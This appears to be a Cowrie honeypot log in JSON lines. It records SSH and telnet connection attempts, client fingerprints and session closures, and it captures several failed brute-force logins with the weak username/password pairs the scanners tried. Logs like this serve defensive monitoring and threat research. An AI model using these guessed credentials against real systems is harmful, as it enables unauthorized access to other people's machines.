{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:22:05.397545Z","src_ip":"194.59.206.2","session":"dfe920ad15f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:22:05.478513Z","src_ip":"194.59.206.2","session":"dfe920ad15f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:22:05.564017Z","src_ip":"194.59.206.2","session":"dfe920ad15f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":44134,"dst_ip":"159.203.135.109","dst_port":23,"session":"676703bf3dcc","protocol":"telnet","message":"New connection: 172.81.62.90:44134 (159.203.135.109:23) [session: 676703bf3dcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:22:06.828646Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":44148,"dst_ip":"159.203.135.109","dst_port":23,"session":"d909b8a7a30b","protocol":"telnet","message":"New connection: 172.81.62.90:44148 (159.203.135.109:23) [session: d909b8a7a30b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:22:07.840076Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":54342,"dst_ip":"10.17.0.5","dst_port":22,"session":"e2c49b934ef4","protocol":"ssh","message":"New connection: 45.156.87.147:54342 (10.17.0.5:22) [session: e2c49b934ef4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:22:09.383686Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:22:09.387350Z","src_ip":"45.156.87.147","session":"e2c49b934ef4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:22:09.469412Z","src_ip":"45.156.87.147","session":"e2c49b934ef4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gateway","password":"gateway","message":"login attempt [gateway/gateway] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:22:09.728728Z","src_ip":"45.156.87.147","session":"e2c49b934ef4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:22:10.818490Z","src_ip":"45.156.87.147","session":"e2c49b934ef4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":53376,"dst_ip":"159.203.135.109","dst_port":22,"session":"7551f36faa94","protocol":"ssh","message":"New connection: 103.176.20.57:53376 (159.203.135.109:22) [session: 7551f36faa94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:22:11.455501Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:22:11.460022Z","src_ip":"103.176.20.57","session":"7551f36faa94","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:22:11.712682Z","src_ip":"103.176.20.57","session":"7551f36faa94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"spencer1","message":"login attempt [root/spencer1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:22:12.461891Z","src_ip":"103.176.20.57","session":"7551f36faa94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:22:13.717457Z","src_ip":"103.176.20.57","session":"7551f36faa94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":60976,"dst_ip":"159.203.135.109","dst_port":22,"session":"76da8f821955","protocol":"ssh","message":"New connection: 27.71.230.31:60976 (159.203.135.109:22) [session: 76da8f821955]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:22:15.490567Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":54344,"dst_ip":"10.17.0.5","dst_port":22,"session":"fecc3276c119","protocol":"ssh","message":"New connection: 45.156.87.147:54344 (10.17.0.5:22) [session: fecc3276c119]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:22:15.508792Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:22:15.513047Z","src_ip":"45.156.87.147","session":"fecc3276c119","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:22:15.543303Z","src_ip":"27.71.230.31","session":"76da8f821955","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:22:15.598135Z","src_ip":"45.156.87.147","session":"fecc3276c119","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:22:15.832361Z","src_ip":"27.71.230.31","session":"76da8f821955","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"helloworld","message":"login attempt [root/helloworld] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:22:15.886448Z","src_ip":"45.156.87.147","session":"fecc3276c119","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":43796,"dst_ip":"159.203.135.109","dst_port":22,"session":"3a4b2a1e9abb","protocol":"ssh","message":"New connection: 80.94.92.184:43796 (159.203.135.109:22) [session: 3a4b2a1e9abb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:22:16.238882Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:22:16.826200Z","src_ip":"80.94.92.184","session":"3a4b2a1e9abb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:22:16.829685Z","src_ip":"80.94.92.184","session":"3a4b2a1e9abb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:22:16.972874Z","src_ip":"45.156.87.147","session":"fecc3276c119","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"banxgg","password":"banxgg","message":"login attempt [banxgg/banxgg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:22:19.792059Z","src_ip":"80.94.92.184","session":"3a4b2a1e9abb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.9","message":"Connection lost after 4.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:22:21.190999Z","src_ip":"80.94.92.184","session":"3a4b2a1e9abb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":48762,"dst_ip":"10.17.0.5","dst_port":22,"session":"776b1954d40e","protocol":"ssh","message":"New connection: 45.156.87.147:48762 (10.17.0.5:22) [session: 776b1954d40e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:22:21.498198Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:22:21.502398Z","src_ip":"45.156.87.147","session":"776b1954d40e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:22:21.585389Z","src_ip":"45.156.87.147","session":"776b1954d40e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"123456","message":"login attempt [server/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:22:21.834820Z","src_ip":"45.156.87.147","session":"776b1954d40e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"user@4","message":"login attempt [root/user@4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:22:22.083312Z","src_ip":"27.71.230.31","session":"76da8f821955","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:22:22.919664Z","src_ip":"45.156.87.147","session":"776b1954d40e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":48778,"dst_ip":"10.17.0.5","dst_port":22,"session":"04c07f821271","protocol":"ssh","message":"New connection: 45.156.87.147:48778 (10.17.0.5:22) [session: 04c07f821271]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:22:27.279525Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:22:27.283737Z","src_ip":"45.156.87.147","session":"04c07f821271","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:22:27.365359Z","src_ip":"45.156.87.147","session":"04c07f821271","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"work","password":"work","message":"login attempt [work/work] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:22:27.626559Z","src_ip":"45.156.87.147","session":"04c07f821271","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":82.46754026412964,"message":"Connection lost after 82 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:22:28.325991Z","src_ip":"128.199.8.54","session":"d2a7233fdba7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:22:28.721676Z","src_ip":"45.156.87.147","session":"04c07f821271","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.996698141098022,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:22:29.989648Z","src_ip":"166.62.124.255","session":"327b537e99de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"17.3","message":"Connection lost after 17.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:22:32.750501Z","src_ip":"27.71.230.31","session":"76da8f821955","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":35718,"dst_ip":"10.17.0.5","dst_port":22,"session":"de686c90ae6c","protocol":"ssh","message":"New connection: 45.156.87.147:35718 (10.17.0.5:22) [session: de686c90ae6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:22:33.425544Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:22:33.429804Z","src_ip":"45.156.87.147","session":"de686c90ae6c","protocol":"ssh"}
